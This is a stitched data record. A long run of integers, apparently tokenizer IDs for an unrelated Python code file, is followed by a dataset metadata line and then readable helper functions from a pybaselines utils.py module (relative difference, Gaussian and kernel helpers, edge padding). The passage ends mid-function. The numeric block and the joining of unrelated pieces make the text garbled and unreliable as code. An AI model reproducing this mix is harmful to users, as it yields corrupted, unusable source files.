18884,
525,
276,
7507,
580,
297,
903,
17462,
29918,
7924,
580,
5229,
29889,
1273,
29879,
742,
429,
29897,
13,
13,
1678,
822,
3896,
29918,
17462,
29918,
7924,
29898,
1311,
1125,
13,
4706,
9995,
17946,
278,
12515,
310,
263,
4867,
1213,
15945,
13,
4706,
1583,
29889,
17462,
29918,
7924,
29918,
7888,
29889,
2962,
7373,
6059,
15488,
29918,
17493,
29918,
3927,
4590,
29918,
23845,
8932,
29897,
13,
4706,
25401,
29889,
8382,
877,
5893,
29918,
17462,
29918,
7924,
1495,
13,
13,
1678,
822,
903,
657,
29918,
3318,
29898,
1311,
29892,
3142,
29892,
8636,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
4300,
2415,
263,
12354,
2009,
393,
10658,
1203,
3553,
1213,
15945,
13,
4706,
364,
1028,
353,
1583,
3032,
3827,
703,
7194,
613,
3142,
29892,
8636,
29922,
7529,
29892,
3579,
19290,
9601,
29900,
29962,
13,
4706,
736,
364,
1028,
565,
364,
1028,
1683,
6213,
13,
13,
1678,
822,
903,
657,
29918,
12650,
29898,
1311,
29892,
3142,
29892,
8636,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
4300,
2415,
263,
12354,
2009,
1213,
15945,
13,
4706,
364,
1028,
353,
1583,
3032,
3827,
703,
7194,
613,
3142,
29892,
8636,
29922,
7529,
29892,
3579,
19290,
9601,
29900,
29962,
13,
4706,
736,
364,
1028,
29889,
657,
703,
1272,
1159,
565,
364,
1028,
1683,
6213,
13,
13,
1678,
822,
903,
1202,
29918,
3318,
29898,
1311,
29892,
3142,
29892,
3573,
29892,
3579,
19290,
1125,
13,
4706,
9995,
4300,
2415,
263,
11971,
2009,
1213,
15945,
13,
4706,
364,
1028,
29892,
604,
13716,
29926,
353,
1583,
3032,
3827,
29898,
13,
9651,
376,
5438,
613,
3142,
29892,
3573,
29922,
2587,
29892,
7465,
29918,
29922,
5574,
29892,
3579,
19290,
29897,
13,
4706,
565,
451,
364,
1028,
29901,
13,
9651,
736,
6213,
29892,
604,
13716,
29926,
13,
4706,
7788,
353,
364,
1028,
29889,
657,
877,
3470,
26458,
13770,
1495,
13,
4706,
565,
7788,
29901,
13,
9651,
736,
7788,
29961,
29900,
1822,
5451,
11219,
1495,
14352,
29896,
1402,
604,
13716,
29926,
13,
4706,
736,
6213,
29892,
604,
13716,
29926,
13,
13,
1678,
822,
903,
8143,
29918,
3318,
29898,
1311,
29892,
3142,
29892,
8636,
29922,
8516,
29892,
3573,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
4300,
2415,
263,
5012,
18476,
2009,
1213,
15945,
13,
4706,
1583,
3032,
3827,
703,
2287,
18476,
613,
3142,
29892,
8636,
29922,
7529,
29892,
3573,
29922,
2587,
29892,
7465,
29918,
29922,
5574,
29892,
13,
462,
418,
3579,
19290,
29897,
13,
13,
1678,
822,
903,
9772,
29898,
1311,
29892,
3142,
29892,
3573,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
4300,
2415,
263,
349,
2692,
2009,
1213,
15945,
13,
4706,
1583,
3032,
3827,
703,
12336,
613,
3142,
29892,
3573,
29922,
2587,
29892,
7465,
29918,
29922,
5574,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
679,
29918,
1129,
3775,
29898,
1311,
29892,
8636,
29922,
8516,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
11565,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
1129,
3775,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
679,
29918,
10109,
29898,
1311,
29892,
11565,
29918,
333,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2577,
263,
11565,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
1129,
3775,
22584,
29898,
333,
29897,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
11565,
29918,
333,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
3318,
29898,
2271,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
679,
29918,
29880,
3359,
29898,
1311,
29892,
301,
3359,
29918,
333,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2577,
263,
301,
3359,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
22584,
29898,
333,
29897,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
301,
3359,
29918,
333,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
3318,
29898,
2271,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
679,
29918,
29880,
3359,
29879,
29898,
1311,
29892,
8636,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
301,
3359,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
788,
29918,
29880,
3359,
29898,
1311,
29892,
3573,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2528,
263,
301,
3359,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
301,
3359,
29918,
333,
353,
1583,
3032,
1202,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
9601,
29900,
29962,
13,
4706,
736,
938,
29898,
29880,
3359,
29918,
333,
29897,
565,
301,
3359,
29918,
333,
1683,
6213,
13,
13,
1678,
822,
5217,
29918,
29880,
3359,
29898,
1311,
29892,
301,
3359,
29918,
333,
29892,
3573,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
12498,
263,
301,
3359,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
22584,
29898,
333,
29897,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
301,
3359,
29918,
333,
29892,
13,
4706,
500,
13,
4706,
1583,
3032,
8143,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
6623,
29918,
29880,
3359,
29898,
1311,
29892,
301,
3359,
29918,
333,
29892,
3573,
1125,
13,
4706,
9995,
2111,
1598,
263,
301,
3359,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
22584,
29898,
333,
29897,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
301,
3359,
29918,
333,
29892,
13,
4706,
500,
13,
4706,
1583,
3032,
9772,
29898,
2271,
29892,
3573,
29922,
2587,
29897,
13,
13,
1678,
822,
10985,
29918,
29880,
3359,
29898,
1311,
29892,
301,
3359,
29918,
333,
29892,
3573,
1125,
13,
4706,
9995,
29777,
263,
301,
3359,
2159,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
22584,
29898,
333,
29897,
29879,
29914,
7387,
22584,
29898,
2467,
29897,
29879,
29914,
9772,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
301,
3359,
29918,
333,
29892,
13,
9651,
525,
2467,
2396,
525,
18837,
742,
13,
4706,
500,
13,
4706,
1583,
3032,
9772,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
11815,
29922,
29918,
12194,
11794,
29918,
12982,
1806,
15307,
29897,
13,
13,
1678,
822,
679,
29918,
4011,
29898,
1311,
29892,
8636,
29922,
8516,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
2011,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
4011,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
679,
29918,
637,
29898,
1311,
29892,
2011,
29918,
333,
1125,
13,
4706,
9995,
2577,
263,
2011,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
4011,
22584,
29898,
333,
29897,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
2011,
29918,
333,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
3318,
29898,
2271,
29897,
13,
13,
1678,
822,
679,
29918,
3069,
29918,
629,
567,
29898,
1311,
29892,
8636,
29922,
8516,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
3495,
2318,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
13155,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
679,
29918,
3069,
29918,
629,
29886,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
1125,
13,
4706,
9995,
2577,
263,
3495,
2318,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
13155,
22584,
29898,
637,
29897,
29879,
24163,
29898,
4537,
29897,
29881,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
637,
2396,
2011,
29918,
333,
29892,
13,
9651,
525,
4537,
2396,
3495,
29918,
2972,
29918,
4537,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
3318,
29898,
2271,
29897,
13,
13,
1678,
822,
788,
29918,
3069,
29918,
629,
29886,
29898,
1311,
29892,
3573,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2528,
263,
3495,
2318,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
13155,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
3495,
29918,
2972,
29918,
333,
353,
1583,
3032,
1202,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
9601,
29900,
29962,
13,
4706,
736,
938,
29898,
3069,
29918,
2972,
29918,
333,
29889,
5451,
29317,
1495,
14352,
29896,
2314,
565,
3495,
29918,
2972,
29918,
333,
1683,
6213,
13,
13,
1678,
822,
5217,
29918,
3069,
29918,
629,
29886,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
1125,
13,
4706,
9995,
12498,
263,
3495,
2318,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
13155,
22584,
29898,
637,
29897,
29879,
24163,
29898,
4537,
29897,
29881,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
637,
2396,
2011,
29918,
333,
29892,
13,
9651,
525,
4537,
2396,
3495,
29918,
2972,
29918,
4537,
29892,
13,
4706,
500,
13,
4706,
1583,
3032,
8143,
29918,
3318,
29898,
2271,
29897,
13,
13,
1678,
822,
6623,
29918,
3069,
29918,
629,
29886,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
29892,
3573,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2111,
1598,
263,
3495,
2318,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
13155,
22584,
29898,
637,
29897,
29879,
24163,
29898,
4537,
29897,
29881,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
637,
2396,
2011,
29918,
333,
29892,
13,
9651,
525,
4537,
2396,
3495,
29918,
2972,
29918,
4537,
29892,
13,
4706,
500,
13,
4706,
1583,
3032,
9772,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
679,
29918,
29882,
2291,
29918,
29893,
1233,
29879,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
281,
1233,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
29893,
1233,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
8636,
353,
8853,
637,
1204,
1115,
2011,
29918,
333,
29892,
376,
3069,
4782,
4557,
1115,
3495,
29918,
2972,
29918,
4537,
29913,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
679,
29918,
29882,
2291,
29918,
29893,
1233,
29879,
29918,
1609,
29918,
978,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
978,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
281,
1233,
2472,
310,
278,
6790,
1024,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
29893,
1233,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
8636,
353,
8853,
637,
1204,
1115,
2011,
29918,
333,
29892,
376,
3069,
4782,
1170,
1115,
3495,
29918,
2972,
29918,
978,
29913,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
788,
29918,
29882,
2291,
29918,
29893,
1233,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
29892,
3495,
29918,
29893,
1233,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2528,
263,
281,
1233,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
29893,
1233,
29879,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
3573,
353,
8853,
3069,
29956,
1233,
1115,
3495,
29918,
29893,
1233,
29892,
376,
637,
1204,
1115,
2011,
29918,
333,
29892,
13,
18884,
376,
3069,
4782,
4557,
1115,
3495,
29918,
2972,
29918,
4537,
29913,
13,
4706,
736,
1583,
3032,
1202,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
9601,
29900,
29962,
13,
13,
1678,
822,
679,
29918,
29882,
2291,
29918,
275,
2395,
275,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
306,
7187,
5425,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
275,
2395,
275,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
8636,
353,
8853,
637,
1204,
1115,
2011,
29918,
333,
29892,
376,
3069,
4782,
4557,
1115,
3495,
29918,
2972,
29918,
4537,
29913,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
679,
29918,
29882,
2291,
29918,
275,
2395,
275,
29918,
1609,
29918,
978,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
978,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
306,
7187,
5425,
2472,
310,
278,
6790,
1024,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
275,
2395,
275,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
8636,
353,
8853,
637,
1204,
1115,
2011,
29918,
333,
29892,
376,
3069,
4782,
1170,
1115,
3495,
29918,
2972,
29918,
978,
29913,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
788,
29918,
29882,
2291,
29918,
10669,
1039,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
29892,
338,
29883,
1039,
29918,
978,
1125,
13,
4706,
9995,
2528,
263,
306,
7187,
5425,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
3069,
29899,
275,
2395,
275,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
3573,
353,
8853,
10669,
1039,
1170,
1115,
338,
29883,
1039,
29918,
978,
29892,
376,
637,
1204,
1115,
2011,
29918,
333,
29892,
13,
18884,
376,
3069,
4782,
4557,
1115,
3495,
29918,
2972,
29918,
4537,
29913,
13,
4706,
736,
1583,
3032,
1202,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
9601,
29900,
29962,
13,
13,
1678,
822,
679,
29918,
29880,
6948,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
29892,
13,
462,
338,
29918,
16121,
29918,
29880,
348,
29918,
19678,
29922,
8824,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
25081,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
6948,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
8636,
353,
8853,
637,
1204,
1115,
2011,
29918,
333,
29892,
376,
3069,
4782,
4557,
1115,
3495,
29918,
2972,
29918,
4537,
29892,
13,
462,
29871,
376,
275,
16616,
29931,
348,
20350,
1115,
338,
29918,
16121,
29918,
29880,
348,
29918,
19678,
29913,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
788,
29918,
29880,
348,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
29892,
301,
3359,
29918,
333,
29892,
25081,
29922,
8516,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2528,
263,
25081,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
6948,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
3573,
353,
8853,
637,
1204,
1115,
2011,
29918,
333,
29892,
376,
3069,
4782,
4557,
1115,
3495,
29918,
2972,
29918,
4537,
29892,
13,
18884,
376,
29880,
3359,
1204,
1115,
301,
3359,
29918,
333,
29913,
13,
4706,
565,
25081,
338,
451,
6213,
29901,
13,
9651,
3573,
1839,
29880,
348,
2033,
353,
25081,
13,
4706,
25081,
29918,
333,
29892,
604,
13716,
29926,
353,
1583,
3032,
1202,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
29897,
13,
4706,
736,
938,
29898,
29880,
348,
29918,
333,
29889,
5451,
29317,
1495,
14352,
29896,
2314,
565,
25081,
29918,
333,
1683,
6213,
29892,
604,
13716,
29926,
13,
13,
1678,
822,
5217,
29918,
29880,
348,
29898,
1311,
29892,
2011,
29918,
333,
29892,
3495,
29918,
2972,
29918,
4537,
29892,
25081,
29892,
3579,
19290,
1125,
13,
4706,
9995,
12498,
263,
25081,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
6948,
22584,
29898,
637,
29897,
29879,
24163,
29898,
4537,
29897,
29879,
24163,
29898,
29880,
348,
29897,
29881,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
637,
2396,
2011,
29918,
333,
29892,
13,
9651,
525,
4537,
2396,
3495,
29918,
2972,
29918,
4537,
29892,
13,
9651,
525,
29880,
348,
2396,
25081,
29892,
13,
4706,
500,
13,
4706,
1583,
3032,
8143,
29918,
3318,
29898,
2271,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
679,
29918,
29879,
8971,
845,
1862,
29898,
1311,
29892,
8636,
29922,
8516,
1125,
13,
4706,
9995,
2577,
263,
1051,
310,
22395,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29879,
8971,
845,
1862,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
657,
29918,
12650,
29898,
2271,
29892,
8636,
29922,
7529,
29897,
13,
13,
1678,
822,
788,
29918,
29879,
14551,
29898,
1311,
29892,
3573,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2528,
263,
22395,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29879,
8971,
845,
1862,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
4706,
500,
13,
4706,
736,
1583,
3032,
1202,
29918,
3318,
29898,
2271,
29892,
3573,
29922,
2587,
29892,
3579,
19290,
9601,
29900,
29962,
13,
13,
1678,
822,
5217,
29918,
29879,
14551,
29898,
1311,
29892,
282,
1555,
29918,
29880,
3359,
29918,
333,
29892,
3887,
29918,
4537,
29892,
3579,
19290,
1125,
13,
4706,
9995,
12498,
263,
22395,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29879,
8971,
845,
1862,
22584,
29898,
29886,
1555,
29897,
29881,
24163,
29898,
2589,
29897,
29881,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
29886,
1555,
2396,
282,
1555,
29918,
29880,
3359,
29918,
333,
29892,
13,
9651,
525,
2589,
2396,
3887,
29918,
4537,
29892,
13,
4706,
500,
13,
4706,
1583,
3032,
8143,
29918,
3318,
29898,
2271,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
443,
16645,
29918,
29879,
14551,
29918,
24623,
29898,
1311,
29892,
282,
1555,
29918,
29880,
3359,
29918,
333,
29892,
3887,
29918,
4537,
29892,
3579,
19290,
1125,
13,
4706,
9995,
2525,
16645,
263,
22395,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29879,
8971,
845,
1862,
22584,
29898,
29886,
1555,
29897,
29881,
24163,
29898,
2589,
29897,
29881,
29914,
7387,
22584,
29898,
2467,
29897,
29879,
29914,
9772,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
29886,
1555,
2396,
282,
1555,
29918,
29880,
3359,
29918,
333,
29892,
13,
9651,
525,
2589,
2396,
3887,
29918,
4537,
29892,
13,
9651,
525,
2467,
2396,
525,
348,
16645,
29899,
24623,
742,
13,
4706,
500,
13,
4706,
1583,
3032,
9772,
29898,
2271,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
17749,
29918,
29879,
14551,
29898,
1311,
29892,
282,
1555,
29918,
29880,
3359,
29918,
333,
29892,
3887,
29918,
4537,
29892,
3573,
29922,
8516,
1125,
13,
4706,
9995,
15078,
487,
263,
22395,
2472,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29879,
8971,
845,
1862,
22584,
29898,
29886,
1555,
29897,
29881,
24163,
29898,
2589,
29897,
29881,
29914,
7387,
22584,
29898,
2467,
29897,
29879,
29914,
9772,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
29886,
1555,
2396,
282,
1555,
29918,
29880,
3359,
29918,
333,
29892,
13,
9651,
525,
2589,
2396,
3887,
29918,
4537,
29892,
13,
9651,
525,
2467,
2396,
525,
5060,
487,
742,
13,
4706,
500,
13,
4706,
1583,
3032,
9772,
29898,
2271,
29892,
3573,
29922,
2587,
29897,
13,
13,
1678,
822,
2313,
538,
29918,
9171,
29918,
3488,
29898,
1311,
29892,
301,
3359,
29918,
333,
1125,
13,
4706,
9995,
11609,
278,
301,
3359,
29915,
29879,
694,
29899,
1272,
6515,
304,
278,
8635,
11565,
1213,
15945,
13,
4706,
3142,
353,
14210,
29898,
2271,
29897,
29879,
29914,
29880,
3359,
29879,
22584,
29898,
333,
29897,
29879,
29914,
7387,
22584,
29898,
2467,
29897,
29879,
29914,
9772,
29915,
1273,
426,
13,
9651,
525,
2271,
2396,
1583,
29889,
3318,
29918,
2271,
29892,
13,
9651,
525,
333,
2396,
301,
3359,
29918,
333,
29892,
13,
9651,
525,
2467,
2396,
525,
2218,
7543,
29899,
9171,
29899,
3488,
742,
13,
4706,
500,
13,
4706,
1583,
3032,
9772,
29898,
2271,
29897,
13,
2
] |
pybaselines/utils.py | abdelq/pybaselines | 0 | 34818 | # -*- coding: utf-8 -*-
"""Helper functions for pybaselines.
Created on March 5, 2021
@author: <NAME>
"""
import numpy as np
# the minimum positive float values such that a + _MIN_FLOAT != a
_MIN_FLOAT = np.finfo(float).eps
def relative_difference(old, new, norm_order=None):
"""
Calculates the relative difference (norm(new-old) / norm(old)) of two values.
Used as an exit criteria in many baseline algorithms.
Parameters
----------
old : numpy.ndarray or float
The array or single value from the previous iteration.
new : numpy.ndarray or float
The array or single value from the current iteration.
norm_order : int, optional
The type of norm to calculate. Default is None, which is l2
norm for arrays, abs for scalars.
Returns
-------
float
The relative difference between the old and new values.
"""
numerator = np.linalg.norm(new - old, norm_order)
denominator = np.maximum(np.linalg.norm(old, norm_order), _MIN_FLOAT)
return numerator / denominator
def gaussian(x, height=1.0, center=0.0, sigma=1.0):
"""
Generates a gaussian distribution based on height, center, and sigma.
Parameters
----------
x : numpy.ndarray
The x-values at which to evaluate the distribution.
height : float, optional
The maximum height of the distribution. Default is 1.0.
center : float, optional
The center of the distribution. Default is 0.0.
sigma : float, optional
The standard deviation of the distribution. Default is 1.0.
Returns
-------
numpy.ndarray
The gaussian distribution evaluated with x.
"""
return height * np.exp(-0.5 * ((x - center)**2) / sigma**2)
def gaussian_kernel(window_size, sigma=1.0):
"""
Creates an area-normalized gaussian kernel for convolution.
Parameters
----------
window_size : int
The number of points for the entire kernel.
sigma : float, optional
The standard deviation of the gaussian model.
Returns
-------
numpy.ndarray, shape (window_size,)
The area-normalized gaussian kernel.
Notes
-----
Return gaus/sum(gaus) rather than creating a unit-area gaussian
since the unit-area gaussian would have an area smaller than 1
for window_size < ~ 6 * sigma.
"""
# centers distribution from -half_window to half_window
x = np.arange(0, window_size) - (window_size - 1) / 2
gaus = gaussian(x, 1, 0, sigma)
return gaus / np.sum(gaus)
def _get_edges(data, pad_length, mode='extrapolate', extrapolate_window=None, **pad_kwargs):
"""
Provides the left and right edges for padding data.
Parameters
----------
data : array-like
The array of the data.
pad_length : int
The number of points to add to the left and right edges.
mode : str, optional
The method for padding. Default is 'extrapolate'. Any method other than
'extrapolate' will use numpy.pad.
extrapolate_window : int, optional
The number of values to use for linear fitting on the left and right
edges. Default is None, which will set the extrapolate window size equal
to the `half_window` size.
**pad_kwargs
Any keyword arguments to pass to numpy.pad, which will be used if `mode`
is not 'extrapolate'.
Returns
-------
left_edge : numpy.ndarray, shape(pad_length,)
The array of data for the left padding.
right_edge : numpy.ndarray, shape(pad_length,)
The array of data for the right padding.
Notes
-----
If mode is 'extrapolate', then the left and right edges will be fit with
a first order polynomial and then extrapolated. Otherwise, uses numpy.pad.
"""
y = np.asarray(data)
if pad_length == 0:
return y
mode = mode.lower()
if mode == 'extrapolate':
if extrapolate_window is None:
extrapolate_window = 2 * pad_length + 1
x = np.arange(-pad_length, y.shape[0] + pad_length)
left_poly = np.polynomial.Polynomial.fit(
x[pad_length:-pad_length][:extrapolate_window],
y[:extrapolate_window], 1
)
right_poly = np.polynomial.Polynomial.fit(
x[pad_length:-pad_length][-extrapolate_window:],
